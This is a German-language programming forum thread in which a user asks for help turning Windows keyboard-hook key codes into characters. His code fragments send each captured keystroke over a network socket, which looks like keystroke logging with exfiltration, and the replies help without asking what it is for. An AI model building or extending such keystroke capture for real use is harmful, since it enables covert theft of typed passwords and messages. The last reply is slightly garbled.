tastaturhook



  • hallo,
    ich habe einen tastatur hook vollbracht.

    void send1(WPARAM wParam)
    {
    	string zeichen;
    	switch(wParam)
    	{
    	zeichnen zuweißen
    	}
    	send(s1, zeichen.c_str(), strlen(zeichen.c_str()), 0);
    }
    

    in wParam ist die Taste gespeichert. hat zufällig wer nen fertigen code wie ich jetz von wParam die tasten krieg? ich mein z.b. if wParam == ansia zeichen = A
    muss ich da jetzt 1000 cases amchen und jeden einzelnen buchstaben einzeln abfangen? und enter usw?
    danke


  • Mod

    Was möchtest Du denn wissen, bzw. was willst Du denn hier umsetzen?
    Du erhälst die Virtual Key Codes
    http://msdn.microsoft.com/en-us/library/ms645540.aspx

    Alle diese Codes sind in den Windows Headern definiert, wobei elegenater Weise VK_A='A' ist!



  • jo danke das weiß ich, ich möchte halt wenn A gedrückt wurde dem string A zuweißen.
    Dazu müsste ich jedoch von A bis Z und dann noch alle sondernzeichen wie enter usw in den cases abfragen. das wären ja 100 cases und ist ziemlich umständlich. gibt es da nicht ne bessere methode oder hat wer bisschen code?


  • Mod

    key schrieb:

    jo danke das weiß ich, ich möchte halt wenn A gedrückt wurde dem string A zuweißen.
    Dazu müsste ich jedoch von A bis Z und dann noch alle sondernzeichen wie enter usw in den cases abfragen. das wären ja 100 cases und ist ziemlich umständlich. gibt es da nicht ne bessere methode oder hat wer bisschen code?

    Wieso, hast Du noch nichts von > und < gehört, wenn Du schon weißt wie die virtual keycodes aufgebaut sind?

    if ((key>='A' && key<='Z') || (key>='0' && key<='9'))
    {
        // It is a char
        char c = static_cast<char>(key);
        ...
    }
    

    Im Großen und Ganzen entsprechenden die Keycodes doch den Ascii-Werten!



  • danke, muss ich hier für key den wParam einsetzten?


  • Mod

    key schrieb:

    danke, muss ich hier für key den wParam einsetzten?

    Was sonst?



  • ok danke dir 🙂



  • if ((key>='A' && key<='Z') || (key>='0' && key<='9'))
    {
    // It is a char
    char c = static_cast<char>(key);
    ...
    }

    zählt der code auch bei kleinen buchstaben oder wie mache ich das?



  • habs getestet, es funktioniert bis jetz bestens.
    Nur alle zeichen die ich eingebe sind groß. ich möchte jedoch zwischen klein und groß unterscheiden wie geht das



  • hier stand unüberlegtes



  • Ich sehe hier keine Hook-Funktion (siehe Titeltext).

    Kann es sein, daß hier nur von einer "gewöhnlichen" WM_KEYDOWN Nachricht die Rede ist?

    Wenn ja, dann liefert Dir WM_KEYDOWN nur, welche Taste gedrückt ist (wie der Name selbst ja schon sagt 😉 ).

    D.h. wenn Du die Kombinationen wie "gedrückte Shift-Taste plus Taste E" auswerten möchtest, dann benötigst Du zusätzliche Informationen, die Dir GetKeyState() http://msdn.microsoft.com/en-us/library/ms646301(VS.85).aspx liefert.

    Martin



  • nein ich hab nen hook den sieht man hier nur nicht.

    if ((wParam>='A' && wParam<='Z') || (wParam>='0' && wParam<='9'))
    	{
    		c = static_cast<char>(wParam);
    		send(s1, &c, sizeof(c), 0);
    	}
    	else if ((wParam>='a' && wParam<='z') || (wParam>='0' && wParam<='9'))
    	{
    		char c = static_cast<char>(wParam);
    		send(s1, &c, sizeof(c), 0);
    	}
    

    so ist die eingabe leider immernoch groß obwohl ich auch kleine abgefragt habe.
    woran liegt das?



  • Ich glaube, Du hast den Sinn von virtual key codes (was Martin Richter gepostet hat) nicht richtig verstanden.

    In den virtual Key codes gibt es nunmal NUR Großbuchstaben (guck selbst genau nach).

    Denn: Es handelt sich um die Information, welche Taste gedrückt ist (hier z.B die Taste A, denn es gibt nur eine auf Deiner Tastatur!).
    Und NICHT, welches Zeichen auf dem Bildschirm erscheinen soll! (hier z.B. 'a' oder 'A')

    Das sind zwei völlig verschiedene Informationen!

    Was ich eher vermute, ist, daß Du die gewählte Technik mit dem Tastatur-Hook wohl ein wenig zu hoch gegriffen hast (nicht böse gemeint).
    Denn das gleiche Problem hättest Du auch, wenn Du ganz normal in Deinem Programm die Tasteninformationen auswerten würdest (ohne Hooks). Und da müßtest Du wohl zusätzlich GetKeyState() auswerten.

    Martin



  • ok jetzt verstehe ich was ihr meint.
    gibt es nicht trotzdem ne lösung mit key codes? hab keinen bock auf die Get funktionen...


  • Mod

    key schrieb:

    ok jetzt verstehe ich was ihr meint.
    gibt es nicht trotzdem ne lösung mit key codes? hab keinen bock auf die Get funktionen...

    Deine Antwort ist albern. Wenn Du schon zu so etwas keinen Bockgelingt. hast, könnte es sein, dass andere keinen Bock haben Dir zu antworten..

    Du kannst einfach kontrollieren ob die Shift Taste gedrück wurde und Dir das in einem Flag merken. Dann könntest Du selber entscheinden ob es um Großschreibung oder Kleinschreibung handelt. Es wird aber spassig wenn Du auch noch Caps-Lock kontollieren willst etc...
    Ich bezweifel, dass Dir dies ohne weiteres


Anmelden zum Antworten